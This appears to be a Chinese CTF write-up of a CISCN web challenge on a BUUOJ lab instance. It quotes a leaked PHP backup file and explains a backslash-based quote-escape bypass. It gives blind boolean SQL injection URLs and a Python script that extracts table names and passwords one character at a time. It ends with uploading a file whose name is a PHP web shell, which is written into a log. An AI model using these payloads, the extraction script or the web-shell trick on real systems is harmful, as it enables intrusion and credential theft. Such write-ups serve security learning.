CISCN的题质量还是很高的。
又是这熟悉的登陆界面。爆破?sql?还是xxe等。先看源码
估摸着也是sql注入。但似乎不是常规注入。同时扫描后台的结果应该也出来了,发现robots.txt
有点懵,后边看了大佬的wp才知道,提示的是*.php.bak。怎么我的题和他们的不一样呢?算了, 不重要,后台源文件是image.php.bak
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
看的出来的确是sql注入,但是要绕过一点点东西。
1.addslashes():这个函数的作用是在字符串中的特定字符前添加反斜杠。特定字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。例如,如果有一个字符串 $str = "It's a nice day";通过使用 addslashes 函数,可以将字符串转义为 "It\'s a nice day"
2.str_replace(array("\\0","%00","\\'","'"),"",$id); : 这行代码的作用是将$id字符串中的\0
,%00
,\'
和'
这四个子字符串替换为空字符串(前面第一个 \ 是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)。
3.因为要sql注入,所有要破开引号。但是引号被转义。若是当我输入"?id=\0",经过ddslashes() -->
"?id=\\0"经过str_replace ---> "?id=\" 。然后sql语句就变了这样
select * from images where id='\' or path='{$path}'
这样由于"\"右边的引号被转义,导致原有的sql语句引号闭合发生错误。相当于id=\' or path= 。然后就可以对path进行sql注入。
?id=\0&path=or%201=1%23
select * from images where id='\' or path='or 1=1%23'
闭合太巧妙了!!!
既然可以sql注入那就,写脚本吧。先构造payload
url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),1,1))=102)%23
1.因为我们要传入\0,而脚本也就将\当作转义字符,所以脚本里得写\\0.
2.因为引号被转义了,所以注入语句里要将users--16进制-->0x7573657273
运行脚本即可
import requestsflag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(1,500,1):for y in range(1,128,1):#url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23'#url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23'url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23'data=requests.get(url)if "JFIF" in str(data.content):flag=flag+chr(y)print(flag)break
拿到密码。账号是admin,也是注入出来的,这里我没写。拿去登录
斯,文件上传 。不能上传php后缀的文件。随便写一个吧。发现它是将文件名写进了日志。日志还是php文件。那不就简单了,直接将文件名改成木马
拿蚁剑去连接就行了
质量还是很高的题目。